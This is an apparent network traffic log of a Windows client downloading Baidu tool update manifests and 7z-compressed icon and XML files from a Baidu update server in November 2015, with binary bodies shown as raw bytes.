HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:24 GMT

Content-Type: image/png

Content-Length: 1277

Connection: keep-alive

ETag: "dbfc6df-4fd-515066b325100"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Age: 646430

Content-Range: bytes 0-1276/1277

Accept-Ranges: bytes

Ohc-Content-Crc: 2331994866

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'....;u.........^.......T....D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q..M:....{..
E..... ...........d.f.........T..N.P.!.~r.~......`I...t.".V..v.....C.G
..2.|.1.l@Rk6..e...~.;..Zh...s)....sG..... .!....K.T.X..].y=...;......
...61..?x.P]...q..t.jP...7.9...x7...Fc.>.....*by$.....1UK2.vTO..v&g
t;H........g....6..@*\.=..X.6..........yT...}...'.j.p..B?..)M.a......c
..Pu.....J.....k.=....5.c7GM..R.S......C....uu....u.r.J8...$.6Tp.}....
 .'*p. ....$..L./....0.Ni.....}.`t.{R|:~.=.....'.<4xh>.`).....Q.
V...~.YpU.'.....YlF!.......f{..x....C......-.P..W..L.[._...N...~A.b...
.d.......t...nt...$U......wY.A....o.R3g4D.....Y%.6...Z..W....M.j.8..B$
.E. ...L..C.2...;.{=..lS...Mr2A.5.W.Y-..J^S...9\.k..b..:.c...p.L.....,
7...F...]\x.%N,...^..*f.............~..@.b.w..E........V.X%.IO.s.|!X9.
...w|g...x.$../......A<tAo.C..........*.K.*).0.or...w~EJ..@w@.5.:r.
....P.V7...X................#....]...........5.P>.......g.r.a.y._.i
.c.o.n.2...p.n.g.......~d.k)....... .........
<<< skipped >>>

GET /baidu_tool/23A88272-3BEB-64D1-7DFB-470FD51F9BBA/1.0.1.1/ToolSummary/icon.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:25 GMT

Content-Type: image/png

Content-Length: 1998

Connection: keep-alive

ETag: "dbfc6e1-7ce-515066b325100"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Age: 672190

Content-Range: bytes 0-1997/1998

Accept-Ranges: bytes

Ohc-Content-Crc: 82427143

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...{...\.......R........L)..D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q.. .....<
;.1...!.R..R...~Q...g.7>....b..@.{.)..f....C..n..v.k(.L.....7.....9
#! ..y.....&.QiC..:.5.'.....;\e........g<X......xJ....q/...s.....P.
#.r....[M....rW....7.mU.?xTSG......a~..z..EH/....N..C3..0...;..0;E..SN
z._.Hwb..d<......Qn1...rCs.. .._k.).x<.\B.cC...[".w".*..J....y.'
5...l.......X....5..|s..&....4./m..........B.. 6..4.....B...._...A=%..
..>...Hi]w....u.....s.z.IN.....,|.....I.i........x.I.^.../w9......E
Sq(R."..{.....#.....,W:. ......s`g.."..4.....m.m8....us..1............
............W.<....|...W. ...[0w...E.4...e...h.....TL.......Ft....T
..D..B0F.. :dg..aW.\V.....l.7...#...o...`l.._..v....1.*../QB.6..O.S;2.
X.p...........X}.t8..".U1P..w...}f..$.8.qQ@..=h..Fm.iWR..#K.x....Y.q..
....g..U...w.........e}.....tp.m.o... {.......e.j....fD......D9.......
..A0.(gb.3.yv.....N.I..,....I....X..=...K.wJ..m.s..|.....U.@.. .5...&.
...<.......,....v..">I......2..,$........ ..{.......w...U..J.rt.
..PA..U.......X..9..R|.B.....IEZ.....p0.^.H...m.]i..r....`|.XN5.......
 ..<d7&......Z.....f......!.3......h5O..y.@-..............O).$..v.\
.B...<u.....SO.......h[`s.....5F...h."u.d$,..)&^.?.W.....2@=..E<<< skipped >>>

GET /baidu_tool/23A88272-3BEB-64D1-7DFB-470FD51F9BBA/1.0.1.1/ToolSummary/icon2.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:25 GMT

Content-Type: image/png

Content-Length: 2000

Connection: keep-alive

ETag: "4c3e068-7d0-515066b325100"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Age: 646430

Content-Range: bytes 0-1999/2000

Accept-Ranges: bytes

Ohc-Content-Crc: 4155969786

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...."5\\.......T........;...D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q.. .....<
;.1...!.R..R...~Q...g.7>....b..@.{.)..f....C..n..v.k(.L.....7.....9
#! ..y.....&.QiC..:.5.'.....;\e........g<X......xJ....q/...s.....P.
#.r....[M....rW....7.mU.?xTSG......a~..z..EH/....N..C3..0...;..0;E..SN
z._.Hwb..d<......Qn1...rCs.. .._k.).x<.\B.cC...[".w".*..J....y.'
5...l.......X....5..|s..&....4./m..........B.. 6..4.....B...._...A=%..
..>...Hi]w....u.....s.z.IN.....,|.....I.i........x.I.^.../w9......E
Sq(R."..{.....#.....,W:. ......s`g.."..4.....m.m8....us..1............
............W.<....|...W. ...[0w...E.4...e...h.....TL.......Ft....T
..D..B0F.. :dg..aW.\V.....l.7...#...o...`l.._..v....1.*../QB.6..O.S;2.
X.p...........X}.t8..".U1P..w...}f..$.8.qQ@..=h..Fm.iWR..#K.x....Y.q..
....g..U...w.........e}.....tp.m.o... {.......e.j....fD......D9.......
..A0.(gb.3.yv.....N.I..,....I....X..=...K.wJ..m.s..|.....U.@.. .5...&.
...<.......,....v..">I......2..,$........ ..{.......w...U..J.rt.
..PA..U.......X..9..R|.B.....IEZ.....p0.^.H...m.]i..r....`|.XN5.......
 ..<d7&......Z.....f......!.3......h5O..y.@-..............O).$..v.\
.B...<u.....SO.......h[`s.....5F...h."u.d$,..)&^.?.W.....2@=..E<<< skipped >>>

GET /baidu_tool/8A73A249-C3BE-401A-8335-A832080931D3/1.0.1.1/ToolFileList.xml HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:25 GMT

Content-Type: application/xml

Content-Length: 1400

Connection: keep-alive

ETag: "dbfc3da-578-515066b048a40"

Last-Modified: Fri, 01 May 2015 14:56:33 GMT

Age: 686127

Content-Range: bytes 0-1399/1400

Accept-Ranges: bytes

Ohc-Content-Crc: 1832334401

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
...<?xml version="1.0" encoding="UTF-8"?>..<ToolFileList>.
.<SelfCheck Size="0x00000578" Md5="0xA6F4E118A8C13C9BC5D3FD68BB4740
FF" />..<ToolInstall>..<File Name="8A73A249-C3BE-401A-8335
-A832080931D3.zip" Size="0x0017f83a" Time="0x01d01f615ee72879" Md5="0x
ffafc872274ac01220bbcb8f11ca3c81" />..</ToolInstall>..<Too
lSummary>..<File Name="detail.xml.7z" Size="0x00000437" Time="0x
01d01f6162f74d19" Md5="0xfeb35e74a5f9c226f9572b0eaa3e77dc" DcSize="0x0
00008b8" DcTime="0x01d01b53e8bd5c3a" DcMd5="0xde786487c7da222ab4f52ff0
7703b237" />..<File Name="gray_icon.png.7z" Size="0x000005a2" Ti
me="0x01d01f6162fb6be4" Md5="0x1a6a7a8586d2df28d2039c3012efb596" DcSiz
e="0x000006aa" DcTime="0x01cfa5afde6686e0" DcMd5="0x61c83c62c27d04d446
d5d3ef52a34348" />..<File Name="gray_icon2.png.7z" Size="0x00000
4fd" Time="0x01d01f6162ff8aaf" Md5="0x6c8a32853215e4495636e961b9f275e2
" DcSize="0x00000601" DcTime="0x01cfa5afde6686e0" DcMd5="0xdbffae94c9c
eb0b484ceeccb639a4177" />..<File Name="icon.png.7z" Size="0x0000
0a02" Time="0x01d01f616303f79c" Md5="0xf55751620b75c2848b91901095c1be0
d" DcSize="0x00000b08" DcTime="0x01cfa5afde6686e0" DcMd5="0x02cb5e2538
fa533b0579bc07cf38071f" />..<File Name="icon2.png.7z" Size="0x00
000807" Time="0x01d01f6163083d78" Md5="0xb486dc5cdf8d86089a2b67ae98401
41c" DcSize="0x0000090c" DcTime="0x01d00aad881b7044" DcMd5="0xc07a8900
5564b0473ec7e1d515ff4877" />..</ToolSummary>..</ToolFileLi
st>....
<<< skipped >>>

GET /baidu_tool/8A73A249-C3BE-401A-8335-A832080931D3/1.0.1.1/ToolSummary/detail.xml.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:26 GMT

Content-Type: application/xml

Content-Length: 1079

Connection: keep-alive

ETag: "4c38021-437-515066b048a40"

Last-Modified: Fri, 01 May 2015 14:56:33 GMT

Age: 663603

Content-Range: bytes 0-1078/1079

Accept-Ranges: bytes

Ohc-Content-Crc: 3102394883

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'......N........V........2.#.w........3.a`.....f.v.N.....4..IKY..p
6......d......j\...: /.9.2...Qx#....@.4..*.....E..^ ...'.B..0=...|.WvG
3I.q.fJ...c....{eS_...y(.^.....B.d.."&X`Ml....Z.W..%1.......O.#.......
.zI ..|..V...=...I......`...%`...p.V..L._.f....M.06...5p2].._....G\..^
~.D`...48..JR.S.}.......p.r...E.|<1.W.P*...={....T<5..O5.e.....H
.H.K._...:1U..bdz..F7U..H.;^=~...H.............j;<...t.Y...-qU.7jn.
....b../..m..5..J.......,X......`t.........[..>.}..........g....-..
..c....t.#N..L.....t...(T..$..2....t....a. .I6.q3.....=,D6..;......T7.
.....@...j...K....d@W..\#OI2.s..$......'...c...@..-`..M..Q.[$........}
..'^P.).....q.....c._v.%.f.~&O....sw..V.^Sx.-aB.......u.}r7...7i.t6Veh
..."s.[.$........G...........-.UfV....=../....*..}S"U. .<...O$.,A2.
..........=9..........K..9I......_W..e2..-.29...%..b...Z7k:..1..v..;n.
...3.n....2O.]..k.o4...........8-..#.(...BB..!.%.wS2_.{...............
._q......s.......CS....L..Y..Z....NA'.......\D...........bJx0.`.P.....
.r....j|....b.&I.....}[.(y.s..............#....]...........J..........
d.e.t.a.i.l...x.m.l.......:\..S....... .........


GET /baidu_tool/8A73A249-C3BE-401A-8335-A832080931D3/1.0.1.1/ToolSummary/gray_icon.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:26 GMT

Content-Type: image/png

Content-Length: 1442

Connection: keep-alive

ETag: "4c38023-5a2-515066b048a40"

Last-Modified: Fri, 01 May 2015 14:56:33 GMT

Age: 663379

Content-Range: bytes 0-1441/1442

Accept-Ranges: bytes

Ohc-Content-Crc: 3475093767

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...u..6&.......\.........1J.D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6.....,..6.z..U{_..Iw.....[_.1.$x..9...q.....Uq.z.......v
.M.t..r.3.H....K..H]......%.8r.. .....n ......8O....]..L........>^.
~..{}.BX..=.y..WF..d.'Q..z.Z.....2..A`'.2...X%..^..X.Br.M .b....kp.{.?
..S..n@.(L#..j....N.....s..V.KT....MZ..z..4..F.X.....U{..o..E..j}.Y.j.
.E......?-*....>4.;D>R^....3..r.0."<D.L..Z.....v.<D.9...).
]...c6.v..... .F...DksF......xI%P.'\.X.Y.....-F.......E1A....A..K.....
...5..h'...:.t....G...t...Xfe{.u..~h.{.]....a.L......gW......[.U...2.,
...KZ).2........dpb....,......E#...d...s..H.Jn/M.x...8...{......YVP5D.
N-.[q...`.9..{.::.."...k _.H.s.k....$......Bv...S.v_..$cp..S........#R
..=..u..6.....4....kU...D.Xa..M1=Cm..S....r.ia..(......,N....JXM.....D
/5..b......,<7.2.!.4....V....7....{...`..q.GV.{W_..1..h....^c...uw.
n...~.9.a...oJ.g.8"=rf......c7..3i= ]/....hz.Q.S.rmh.#.U`. ......&....
......TO`/....%kY..Y....pz.....h.O..a...fv..u(...M.x .e..!..V),;..:vV.
2...Jr$op...t.`_Z.d..... c....}.E .N.xh.....X.|;N.-7cX.*.c....)?..M...
...|.gnf....,=I.....D.....3..w...M...e..E.z..=l.;4.!2......u....:.=...
.f#...h.P.5p......P.w......i...$.o_ ........"O.Y.y'...w......%..A(M ..
...z.".....w#..l....m'i6..K. 2.a.LV..7_(........&......#....].........
.............g.r.a.y._.i.c.o.n...p.n.g.........f......... .....
....
<<< skipped >>>

GET /baidu_tool/8A73A249-C3BE-401A-8335-A832080931D3/1.0.1.1/ToolSummary/gray_icon2.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:26 GMT

Content-Type: image/png

Content-Length: 1277

Connection: keep-alive

ETag: "4c38025-4fd-515066b048a40"

Last-Modified: Fri, 01 May 2015 14:56:33 GMT

Age: 663369

Content-Range: bytes 0-1276/1277

Accept-Ranges: bytes

Ohc-Content-Crc: 456498750

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'.....5.........^..........!.D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q..M:....{..
E..... ...........d.f.........T..N.P.!.~r.~......`I...t.".V..v.....C.G
..2.|.1.l@Rk6..e...~.;..Zh...s)....sG..... .!....K.T.X..].y=...;......
...61..?x.P]...q..t.jP...7.9...x7...Fc.>.....*by$.....1UK2.vTO..v&g
t;H........g....6..@*\.=..X.6..........yT...}...'.j.p..B?..)M.a......c
..Pu.....J.....k.=....5.c7GM..R.S......C....uu....u.r.J8...$.6Tp.}....
 .'*p. ....$..L./....0.Ni.....}.`t.{R|:~.=.....'.<4xh>.`).....Q.
V...~.YpU.'.....YlF!.......f{..x....C......-.P..W..L.[._...N...~A.b...
.d.......t...nt...$U......wY.A....o.R3g4D.....Y%.6...Z..W....M.j.8..B$
.E. ...L..C.2...;.{=..lS...Mr2A.5.W.Y-..J^S...9\.k..b..:.c...p.L.....,
7...F...]\x.%N,...^..*f.............~..@.b.w..E........V.X%.IO.s.|!X9.
...w|g...x.$../......A<tAo.C..........*.K.*).0.or...w~EJ..@w@.5.:r.
....P.V7...X................#....]...........5.P>.......g.r.a.y._.i
.c.o.n.2...p.n.g.........f......... .........
<<< skipped >>>

GET /baidu_tool/8A73A249-C3BE-401A-8335-A832080931D3/1.0.1.1/ToolSummary/icon.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:27 GMT

Content-Type: image/png

Content-Length: 2562

Connection: keep-alive

ETag: "dbfc3e5-a02-515066b048a40"

Last-Modified: Fri, 01 May 2015 14:56:33 GMT

Age: 644560

Content-Range: bytes 0-2561/2562

Accept-Ranges: bytes

Ohc-Content-Crc: 3266567836

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...............R.......-9.V.D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6.....,..6.z..U{_..Iw.....[_.1.$x..9...q.....Uq.z.......v
.M.t..r.3.H....K..H]......%.8r.. .....n ......8O....]..L........>^.
~..{}.BX..=.y..WF..d.'Q..z.Z.....2..A`'.2...X%..^..X.Br.M .b....kp.{.?
..S..n@.(L#..j....N.....s..V...S.}[..JL.l.i..HwD.x..g...B0SajRo..r`(.3
..ow(...!...V.B..<.....N...jVJ../...Sh.R..wK.175Cb.....8R...S...2..
w0....!.Y..e....6T..b...y.Z..?...........Q..$]`I9Z..x..........4..h...
CiS5..../p.......9.t...;...4..~..\DZ..$o..:&J.....F.g.j....(.^.Y.....D
....).P.U(....L...pt..gN...v.bRu._.7...8X.ZQ.,...>......*M[?4.j_...
P..r.......M....K...}6...je.../ L..T....H...L.5q...z.......)...)....o.
U.`.<.d..o..^....w........}.<Q..).3.H..3.y.M.&..?.a./mbG.#j.r...
Am.2^....c.V.~5w!..kv..r4. LS........34...7.sw.Bu....5l}.Ur.*....Jf...
.....d. ..6.......y.*.....?..... B...\K..m...!..YAd....:...D.T.}......
4j6SA...0.K..D...zk.$?...4.ng8.(....F.....eO.\.Z..=...i7>.-$Yzi....
KG.................A..b.x...Gn.......)..q..<..^..N..{$...{q........
...g.....#.2.7bK|.\...{....O.%.X....>......4c$..:(......v.M.A#)....
.....a..7y^...>.d.... O.............|?...j...t.v.>.,...p....0;..
og..Q......=.KK.{..8..Qp.ei..~..P..<S..I.......?].....t.....q)0.d&X
n.......%C.e<..C<...Zh>. Y.|0B6tQX.H.3.:.b1...G*!.. ..}.-6..W
N[...RS.$...w.......*).t.O.....].F.&...?..9'......mH....9....2w...<<< skipped >>>

GET /baidu_tool/8A73A249-C3BE-401A-8335-A832080931D3/1.0.1.1/ToolSummary/icon2.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:27 GMT

Content-Type: image/png

Content-Length: 2055

Connection: keep-alive

ETag: "4c38029-807-515066b048a40"

Last-Modified: Fri, 01 May 2015 14:56:33 GMT

Age: 663380

Content-Range: bytes 0-2054/2055

Accept-Ranges: bytes

Ohc-Content-Crc: 966397665

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'....*..........T.........\..D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q.....n.[..}
...K..;i....xt.....3...u.}............q...Y..lt....(..>N..s.5[.[.:.
.@E.L3..n.5...gqP..s..]....X.....:2..B.._rD....'....0..R:.B<...J=.\
|.&..p....W~4..X(B....bb......p6...6j.vb...^....Q....}......u.q."....%
...t........c;l..u.` ...I.).~..p.3...H.@.c..]...w..c...y.,...gG_.\m.j.
B...zC....PZ....O...>tf...j|.(g..O;6._.JU<`.]..`..w.....8.....G.
#.h'.......vA..[.."..a.<m.....$."Q.Q...%s.F.> ....P.LDk..`...-..
.....~I..s&J.C&6\..{..S]".l.C:[...yf.s.....`.]yH@...,...a..1.Y..0...8 
!i.1..M.....}.2.....{....~.!Y>.L..M@....t..&..s..........49...Kd.t.
<.U}...\.....U1......f.'..T.....XR.A........S..G..].eN...o"uj..z...
....=(......W.nNS.........O.......j........:.s...6#.'..X.!{..\...9....
LtP ...-......x..`.!A...7-JLt$.e.=..b..%....\..n.w9;.......%.Mw,,.....
.9..............E.{#.V...lz.r.=..G..|..Ab...s..-...*......#.\.....<
.T..\>........k.jd.W<W......!........N....=>......B....~p....
Q.?.?.E|3..$....Z...h.8L..O.FO........u..&8.2....".......f80..g.......
G....B.,.l..i.$!?....-xW..)-:.....:<(Y.0.%...u>....QQ.[...]...*.
x..,.W.L.....Y......C.6B.;...I|..2.u..I.)p.F....ZB..!=.....=.B..#d<<< skipped >>>

GET /baidu_tool/DEF8DB04-2D26-469A-8D59-5D813E89773D/2.0.1.2/ToolFileList.xml HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:28 GMT

Content-Type: application/xml

Content-Length: 983

Connection: keep-alive

ETag: "dbfc4a3-3d7-515066b13cc80"

Last-Modified: Fri, 01 May 2015 14:56:34 GMT

Age: 640403

Content-Range: bytes 0-982/983

Accept-Ranges: bytes

Ohc-Content-Crc: 2723641601

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
...<?xml version="1.0" encoding="UTF-8"?>..<ToolFileList>.
.<SelfCheck Size="0x000003d7" Md5="0xE674862404D5F5BCA1BD118651B84C
38" />..<ToolInstall>..<File Name="DEF8DB04-2D26-469A-8D59
-5D813E89773D.zip" Size="0x001bbeac" Time="0x01d0412cdc55be1e" Md5="0x
5f8e32a54878090f288f8e78d6846147" />..</ToolInstall>..<Too
lSummary>..<File Name="detail.xml.7z" Size="0x00000403" Time="0x
01d0412cdf6a654e" Md5="0xfb3e03522ec23b36bb427c68963b3628" DcSize="0x0
000088c" DcTime="0x01d039e220887f62" DcMd5="0xe1345eaa6165a2f5f3cfb68a
f4f8a3d3" />..<File Name="gray_icon.png.7z" Size="0x00000c65" Ti
me="0x01d0412cdf6e5d08" Md5="0x676608531723e848d432b1077a8610f6" DcSiz
e="0x00000d6f" DcTime="0x01d024d34f12096c" DcMd5="0xba31d2b3166cf1d5d9
3e5f56f3eb69cd" />..<File Name="icon.png.7z" Size="0x00000c93" T
ime="0x01d0412cdf6fbca1" Md5="0xfd9e09bb8689cc4b7e4fe7ce9981fb20" DcSi
ze="0x00000d8d" DcTime="0x01d020f309fb453e" DcMd5="0x3f803aabf9c71246f
592f1a115a4d3ff" />..</ToolSummary>..</ToolFileList>ont>....

GET /baidu_tool/DEF8DB04-2D26-469A-8D59-5D813E89773D/2.0.1.2/ToolSummary/detail.xml.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:28 GMT

Content-Type: application/xml

Content-Length: 1027

Connection: keep-alive

ETag: "dbfc4a8-403-515066b13cc80"

Last-Modified: Fri, 01 May 2015 14:56:34 GMT

Age: 672683

Content-Range: bytes 0-1026/1027

Accept-Ranges: bytes

Ohc-Content-Crc: 3648308469

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...US.2........V.........Jk.w........3.a`.....f.v.N.....4..IKY..p
6......d......j\...: /.9.2...Qx#....@.4..*.....E..^ ...'.B../.....r/..
`.k.m....E.MZqaW.z"..&....9...:....Y[. .....-...........P...4R..[...m.
.S.;?];....-.A..K.o.1m.A:..dRC3......i.t.s!..Y.). YgP/...9jlB.%.I?..w.
.......e....J...).s....^*.$.N.*......U....Vw-.'..&u....j...0.)........
fxT.x.l.7,....k........Na...i{.L.&.._Y.x.})_...DC.P.dG;6...}...mb4|,~.
.m.O..!ej..`..??.-5.j....VK.F.I.......5..$.....R....3...X.~....@.n..!.
.A..1..k:[.=Lkb&.)d..g.Ku.y......6..Ic......@..uD...Q. .Z..j....=r.8..
..gbs..1..(A=.8..gF..2.S.......[....Y........S4C......X..D....Kw.M.r-.
"...$...I.&.S.Z..Q3._..x.....G...m.!.9h.A....v<...AR......(..-Q....
..._(S.c....O.f.m........T.....$..\.1\....R....m.%H..k`.4..~|m*..iL...
....q.);.6....M.. b.#.......&.l..I.J.[.J8J*...#..`.:.ue'Ie.}% ...;....
<zo`.....M...^...=.....G......@.....[.&.Q..C.&...W5..._....Q..M=.y.
.T..... K"...U...Z$....I....l....."J...............#....].............
.N.......d.e.t.a.i.l...x.m.l.......b.. .9...... .........


GET /baidu_tool/DEF8DB04-2D26-469A-8D59-5D813E89773D/2.0.1.2/ToolSummary/gray_icon.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:29 GMT

Content-Type: image/png

Content-Length: 3173

Connection: keep-alive

ETag: "4c380ec-c65-515066b13cc80"

Last-Modified: Fri, 01 May 2015 14:56:34 GMT

Age: 672683

Content-Range: bytes 0-3172/3173

Accept-Ranges: bytes

Ohc-Content-Crc: 2341136333

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'....R..........\.......j....D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q.....n.[..}
...K..;i....xt.....3...u......C.....s.y>BhV..>.4.....!!.,4-.n.!)
%@2|...N3...E..C..l..D...k...':....[.rK..?E.....-...`..i$......|...[ .
...GY^g(.0..9e.@..3a..........\.7.>.....l.=.6.u..tN...Y.....Ci. ...
..O.]....g........z..5.W.....;...U...=f.....S~o....Z>)!&.3W..x....b
5x.(....Je.7....yK..3.=.}3..T.q...#s.. .0....-JC\...AU.]D.._.....Xc0..
.X.U.SU$ .=.]..>...[Ns?J.......xy.3... }..S..5..6..6.v...JT.7...R.}
...@,..}.......4....@.R..........9G6>.].{....W6g_;..r3V7.J.....9..!
.... ..b(..n....xr....n~<.*I.|_......U.....7...t...7I..z^L.^..[..k.
..=/'c....n.uM."0]..O..t`<.X............"u...Y..\.......n....M.. ..
r..\...J..BR....zK..W....3.....}..l.C.....7....>:G9..8.............
...?X...C........i}.G....J..pa...6...<{......%Dm.$ca. .............
.Dn.^..9>.f.. .....t...&x.,c.c{..h..l....J.......R..O622.\..eg...v[
@n.e.v.d./.*u.NS.1....a..G.AO......./..9..(.......B..f..u.......46...Z
F.h]..D.. O......!.#.....A.t......p...pW.C.e.5.,...f.Kn0........q.....
....-.....[N....'.$O.kh. ..Ro..V.|...=j......FS<.f.T.O1.H.p=6..-Rv?
.9..I2 o.J.^...=.Sf<Z......x(F...d.......2.<.>fl...'.~...<<< skipped >>>

GET /baidu_tool/DEF8DB04-2D26-469A-8D59-5D813E89773D/2.0.1.2/ToolSummary/icon.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:29 GMT

Content-Type: image/png

Content-Length: 3219

Connection: keep-alive

ETag: "4c380ee-c93-515066b13cc80"

Last-Modified: Fri, 01 May 2015 14:56:34 GMT

Age: 672682

Content-Range: bytes 0-3218/3219

Accept-Ranges: bytes

Ohc-Content-Crc: 3573859746

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'.....kX!.......R.......r....D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
